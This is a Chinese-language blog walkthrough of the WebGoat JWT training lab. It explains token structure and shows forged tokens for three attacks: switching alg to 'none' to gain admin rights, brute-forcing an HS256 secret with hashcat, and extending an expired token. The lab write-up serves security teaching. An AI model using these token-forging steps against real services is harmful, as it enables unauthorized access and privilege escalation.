0


Token 绕过 / JWT漏洞 / 垂直越权 / WebGoat–JWT靶场 tokens–4、5、7 关

Cookie、Session 和 Token 都是用于在 Web 应用程序中进行身份验证和状态管理的工具

Cookie

存储在客户端

缺点:容易被盗取

Session

存储在服务器

缺点:如双十一等大量用户访问时,服务器需要存储查询大量 Session,查询速度慢资源开销大,对性能也会产生影响

Token

  • 存储在客户端,解决了大量 Session 存储在服务器访问速度慢的问题
  • 加密

JWT

概述

json web token

json 是一种数据格式,为了处理不同数据间的转换

JWT 是 Token 的一种实现方式

存放位置不一定,可能是 Cookie、url、Authorization 等

image-20231207151206301

结构

解析网站

https://jwt.io
Header.Payload.Signature

Header 和 Payload 经简单的 base64 编码

  • Header(头部)包含算法类型和令牌类型
  • Payload(载荷)有具体含义的数据
  • Signature(签名) 为了验证 JWT 是否有效

Header 头部

  • 算法类型(alg)指定用于生成签名的算法,如 RSA、HMAC 等如果替换成 none,服务器不校验第三部分的签名
  • 令牌类型(typ)指定令牌的类型,默认为 JWT,为 JWT 时可不写

Payload 载荷

存储了有关用户或实体的声明和其他有关信息,如用户 ID、角色、权限等信息

  • exp:jwt 的过期时间,必须大于签发时间
  • iat:jwt 的签发时间

image-20231207144455087

Signature 签名

防止前两个字段被修改。对 Header 和 Payload 进行验证,如果前两部分有更改,则 JWT 身份认证失败。

密钥存储在服务器,签完名发送回客户端存储

WebGoat 靶场实例–靶场安装

将 jar 包下载到 kali

链接:https://pan.baidu.com/s/1JJOTLqJ5ltg8PoCIiS4_Wg?pwd=ey35
提取码:ey35

使用以下命令开启靶场,将 ip 替换为 kali 的 ip

java-jar webgoat-server-8.1.0.jar --server.port=8888--server.address=10.9.47.221

image-20231207162926337

访问 http://10.9.47.221:8888/WebGoat

image-20231207163014005

注册,登录

WebGoat–JWT tokens–4 垂直越权

登录 Guest 外的用户

image-20231207163724586

普通用户只能投票但不能清空投票

image-20231207164856332

点击投票,抓包,抓取 Token 值

注意去掉分号和最后的 JESSIONID

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE3MDI4MDM3NzMsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiU3lsdmVzdGVyIn0.hUJeIlFYuLSVpAJL8kCQ48bsHcyPTccWJTVHehGK5-gC_kMG3HxD2x0hytA32WJStgZR_mzT7QUOr5rZA0NJxg

image-20231207170619655

打开解析网站

image-20231207170817131

将头部中的加密方法

HS512

更改为

none
{
  "alg": "HS512"
}

需要将以上内容复制到 base64 编码器中编码,无法直接在解析网站中修改解析后的值,并将 base64 编码后的结果复制到 header 的编码位置

ewogICJhbGciOiAibm9uZSIKfQ

image-20231207165243463

image-20231207170844180

同样的方法将 payload 中 admin 改为 true

image-20231207165556964

image-20231207170926956

如此,第三部分的签名验证则不起作用

复制此时的 JWT Header 和 Payload(注意最后的

.

),普通用户再次清空投票,将 Token 换位此时的 JWT,即以 admin 身份执行

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNzAyODAzNzczLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJTeWx2ZXN0ZXIiCn0.

image-20231207171301259

成功清空票数

image-20231207171401562

WebGoat–JWT tokens–5 密钥爆破

image-20231208211644138

将 JWT 的三部分保存到 jwt.txt

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMjA0MzA2MCwiZXhwIjoxNzAyMDQzMTIwLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5Y4vwpUyznrx6NE3QPOiBq2zEmtav5MarHHhMHJ0Zqg

准备 1.txt 密钥字典

victory
secret1
business
washington

kali 执行命令

hashcat -m16500 jwt.txt -a3-w21.txt --force

爆破出密钥 washington

image-20231208214517396

将给出的 JWT 复制到解析网站

将 username 字段更改为 WebGoat,修改有效时间

image-20231208213644047

将密钥

washington

填入密钥位置,生成新的签名

image-20231208214631310

提交 jwt,成功过关

image-20231208214705762

WebGoat–JWT tokens–7 平行越权

模拟发现了已经泄露的 JWT,使 JWT 再次生效

更改签发时间和到期时间(exp),让 Tom 给你付钱买书

image-20231208084517033

点击 here 查看日志

复制 Token

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

image-20231208084708141

将 HS512 改为 none,将 exp 改为现在的时间

image-20231208085001881

找个时间戳转换网站,生成时间戳(保证大于提交数据包的时间)

时间戳、Unix 纪元时间(距 Unix 诞生(1970.1.1)过了多少秒

image-20231208085551205

image-20231208085611255

将 Token 前两部分复制

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAyMDgyODkwLAogICJhZG1pbiI6ICJmYWxzZSIsCiAgInVzZXIiOiAiVG9tIgp9.

image-20231208085641515

点击付款,抓包

image-20231208085349281

将 Token 值复制到 Authorization 位置,放包

image-20231208085755136

成功

image-20231208085821475


本文转载自: https://blog.csdn.net/weixin_51559599/article/details/134860478
版权归原作者 gjl_ 所有, 如有侵权,请联系我们删除。

“Token 绕过 / JWT漏洞 / 垂直越权 / WebGoat–JWT靶场 tokens–4、5、7 关”的评论:

还没有评论